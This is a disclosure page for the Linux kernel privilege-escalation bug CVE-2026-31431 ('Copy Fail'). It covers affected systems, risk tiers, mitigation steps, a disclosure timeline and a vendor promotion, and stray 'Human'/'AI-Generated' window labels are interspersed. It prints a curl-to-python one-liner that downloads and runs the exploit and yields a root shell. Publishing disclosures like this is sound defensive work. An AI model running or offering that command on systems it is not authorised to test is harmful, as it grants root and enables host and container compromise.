Copy Fail — 732 Bytes to Root
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Window 1 - Human
Copy Fail
A dashed circle marks the intended landing site of the copy; a solid disk cascades down and to the right out of it in three progressively displaced bands — the copy missing its target.
CVE-2026-31431
100% reliable
every distro since 2017
container escape primitive
732 bytes
found by Xint CodeMost Linux LPEs need a race window or a kernel-specific offset.Copy Fail is a straight-line logic flaw — it needs neither.The same 732-byte Python script roots every Linux distribution shipped since 2017.One logic bug in authencesn, chained through AF_ALG and splice() into a 4-byte page-cache write — silently exploitable for nearly a decade.
The demoSame script, four distributions, four root shells — in one take. The same exploit binary works unmodified on every Linux distribution.tmux — copy fail demolive
Who is affectedIf your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you're in scope.Copy Fail requires only an unprivileged local user account — no network access, no kernel debugging features, no pre-installed primitives. The kernel crypto API (AF_ALG) ships enabled in essentially every mainstream distro's default config, so the entire 2017 → patch window is in play out of the box.Distributions we directly verified:
DistributionKernel
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 14.36.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default
These are what we tested directly.
Window 2 - 100% AI-Generated
Other distributions running affected kernels — Debian, Arch, Fedora, Rocky, Alma, Oracle, the embedded crowd — behave the same. Tested it elsewhere? Open an issue to add to the list.Should you patch first?HighMulti-tenant Linux hostsShared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel.any user becomes rootHighKubernetes / container clustersThe page cache is shared across the host. A pod with the right primitives compromises the node and crosses tenant boundaries.cross-container, cross-tenantHighCI runners & build farmsGitHub Actions self-hosted runners, GitLab runners, Jenkins agents — anything that executes untrusted PR code as a regular user, on a shared kernel.a PR becomes root on the runnerHighCloud SaaS running user codeNotebook hosts, agent sandboxes, serverless functions, any tenant-supplied container or script.tenant becomes host rootMediumStandard Linux serversSingle-tenant production where only your team has shell access.internal LPE; chains with web RCE or stolen credsLowerSingle-user laptops & workstationsYou're already the only user. The bug doesn't grant remote attackers access by itself, but any local code execution becomes root.post-exploitation step-up
ExploitThe PoC is published so defenders can verify their own systems and validate vendor patches.Use responsibly. Run only on systems you own or have written authorization to test. The script edits the page cache of a setuid binary; the change is not persistent across reboot, but the resulting root shell is real. Don't run it on production.
copy_fail_exp.py 732 BStandalone PoC. Python 3.10+ stdlib only (os, socket, zlib).Targets /usr/bin/su by default; pass another setuid binary as argv[1].sha256:
Window 3 - 100% AI-Generated
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9Quick run:$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
Issue tracker: https://github.com/theori-io/copy-fail-CVE-2026-31431
MitigationPatch first. Update your distribution's kernel package to one that includes mainline commit a664bf3d603d — it reverts the 2017 algif_aead in-place optimization, so page-cache pages can no longer end up in the writable destination scatterlist. Most major distributions are shipping the fix now.Before you can patch: disable the algif_aead module.# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead 2>/dev/null || trueWhat does this break? For the vast majority of systems — nothing measurable.
Will not affect: dm-crypt / LUKS, kTLS, IPsec/XFRM, in-kernel TLS, OpenSSL/GnuTLS/NSS default builds, SSH, kernel keyring crypto. These all use the in-kernel crypto API directly — they don't go through AF_ALG.
May affect: userspace specifically configured to use AF_ALG — e.g. OpenSSL with the afalg engine explicitly enabled, some embedded crypto offload paths, or applications that bind aead/skcipher/hash sockets directly. Check with lsof | grep AF_ALG or ss -xa if in doubt.
Performance: AF_ALG is a userspace front door to the kernel crypto API. Disabling it does not slow anything that wasn't already calling it; for the things that were, performance falls back to a normal userspace crypto library, which is what almost everything else already does.
For untrusted workloads (containers, sandboxes, CI), block AF_ALG socket creation via seccomp regardless of patch state.
Window 4 - Human
FAQLoading FAQ…
Disclosure timeline
2026-03-23Reported to Linux kernel security team
2026-03-24Initial acknowledgment
2026-03-25Patches proposed and reviewed
2026-04-01Patch committed to mainline
2026-04-22CVE-2026-31431 assigned
2026-04-29Public disclosure (https://copy.fail/)
Xint Code
Is your software AI-era safe?
Copy Fail was surfaced by Xint Code about an hour of scan time against the Linux crypto/ subsystem. Full root cause, diagrams, and the operator prompt that found it are in the Xint blog write-up.
The same scan also surfaced other high-severity bugs, still in coordinated disclosure. Xint Code audits production codebases the same way — one operator prompt, no harnessing, prioritized findings with trigger and impact narratives.
Track record0-day RCEZeroDay CloudSwept the database category — Redis, PostgreSQL, MariaDB. Zero human intervention.Top 3DARPA AIxCCFinalist in the AI Cyber Challenge hosted by DoD DARPA.9×DEF CON CTFMost-winning team in DEF CON CTF history.
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